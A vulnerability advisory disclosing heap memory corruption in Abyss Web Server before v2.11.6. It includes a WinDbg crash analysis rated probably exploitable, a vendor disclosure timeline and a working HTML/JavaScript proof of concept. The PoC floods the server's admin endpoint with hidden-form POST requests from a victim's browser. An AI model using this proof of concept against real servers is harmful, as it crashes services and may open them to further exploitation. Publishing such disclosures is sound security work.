[+] Credits: John Page (aka HyP3rlinX) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/ABYSS-WEB-SERVER-MEMORY-HEAP-CORRUPTION.txt [+] ISR: ApparitionSec Vendor: ========== aprelium.com Product: =========== Abyss Web Server < v2.11.6 Vulnerability Type: =================== Memory Heap Corruption CVE Reference: ============== N/A Security Issue: ================ Possible to corrupt heap memory of the Abyss Web Server by sending specially crafted HTML in repeated HTTP POST requests. Users should upgrade to latest version v2.11.6. GetUrlPageData2 (WinHttp) failed: 12002. FAULTING_IP: msvcrt!memcpy+5a 75e49b60 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 75e49b60 (msvcrt!memcpy+0x0000005a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 003b9000 Attempt to read from address 003b9000 CONTEXT: 00000000 -- (.cxr 0x0;r) eax=00000000 ebx=075c33f8 ecx=000efd46 edx=00000002 esi=075c33b8 edi=0651edb0 eip=77670c52 esp=0651ea70 ebp=0651ea80 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!ZwGetContextThread+0x12: 77670c52 83c404 add esp,4 PROCESS_NAME: abyssws.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 003b9000 READ_ADDRESS: 003b9000 FOLLOWUP_IP: abyssws+413d9 004413d9 59 pop ecx NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 APP: abyssws.exe ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) x86fre LAST_CONTROL_TRANSFER: from 0043f840 to 75e49b60 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_INVALID_POINTER_READ_PROBABLYEXPLOITABLE PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_PROBABLYEXPLOITABLE DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_PROBABLYEXPLOITABLE STACK_TEXT: 777542a8 776cd9bc ntdll!RtlFreeHeap+0x64 777542ac 75e498cd msvcrt!free+0xcd 777542b0 004413d9 abyssws+0x413d9 777542b4 004089d0 abyssws+0x89d0 777542b8 0040a607 abyssws+0xa607 777542bc 0040bd58 abyssws+0xbd58 777542c0 0040cb5b abyssws+0xcb5b SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: abyssws+413d9 FOLLOWUP_NAME: MachineOwner MODULE_NAME: abyssws IMAGE_NAME: abyssws.exe DEBUG_FLR_IMAGE_TIMESTAMP: 5807a3cb STACK_COMMAND: dps 777542a8 ; kb FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_PROBABLYEXPLOITABLE_c0000005_abyssws.exe!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_block_not_busy_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_abyssws+413d9 ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:actionable_heap_corruption_heap_failure_block_not_busy_probablyexploitable_c0000005_abyssws.exe!unknown FAILURE_ID_HASH: {0ba3122b-4351-5a85-a0ea-294a6ce77042} Followup: MachineOwner --------- /////////////////////////////////////////////// The stored exception information can be accessed via .ecxr. (2740.30b8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=075c33f8 ecx=000efd46 edx=00000002 esi=075c33b8 edi=0651edb0 eip=77670c52 esp=0651ea70 ebp=0651ea80 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!ZwGetContextThread+0x12: 77670c52 83c404 add esp,4 0:011> !load winext/msec 0:011> !exploitable !exploitable 1.6.0.0 Exploitability Classification: PROBABLY_EXPLOITABLE Recommended Bug Title: Probably Exploitable - Read Access Violation on Block Data Move starting at msvcrt!memcpy+0x0000000000000250 (Hash=0xb1db8cd3.0x508907b2) This is a read access violation in a block data move, and is therefore classified as probably exploitable. ? References: ============ https://aprelium.com/news/abws2-11-6.html Exploit/POC: ============= Cause Heap Corruption in Abyss Server. <!DOCTYPE> <html> <body> <script> //Abyss Web Server Memory (heap) Corruption POC //Discover by hyp3rlinx //Error code: 0xc0000374 is STATUS_HEAP_CORRUPTION //0xc0000374 - heap has been corrupted. //======================================= window.onerror=function(){ return true } </script> <script> var target='http://VICTIM-IP:9999/hosts/host@0/edit/ipcontrol'; function mk_iframe_targets(f){ var tmp = document.createElement('IFRAME') tmp.style='display:none' tmp.name='hidden-frame'+f return tmp } function mk_inputs(id,name,val){ var input=document.createElement('INPUT') input.type='hidden' input.id=id input.name=name input.value=val return input } function mk_forms(name,f){ var PAYLOAD='CORRUPT' var tmp = document.createElement('FORM') tmp.method='POST' tmp.action=target tmp.target='hidden-frame'+f tmp.name = name tmp.style='display:none' tmp.appendChild(mk_inputs('token'+f,'$$xxvxd',PAYLOAD)) tmp.appendChild(mk_inputs('','/hosts/host@0/edit/ipcontrol/rules/rules.badd',PAYLOAD)) return tmp } var NUM_FORMS=50 var form_arr = new Array for(var f =0; f < NUM_FORMS; f++){ var ifrms = mk_iframe_targets(f) document.body.appendChild(ifrms) var aform=mk_forms('form'+f,f) form_arr.push(aform) document.body.appendChild( aform ) } function engine0(){ for(var i = 0; i< NUM_FORMS; i++){ form_arr[i].submit() } } window.setInterval(engine0, 5) </script> Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ============================================= Vendor Notification : September 21, 2017 Vendor Acknowledgement : September 22, 2017 Vendor Released New Version : November 30, 2017 December 1, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx
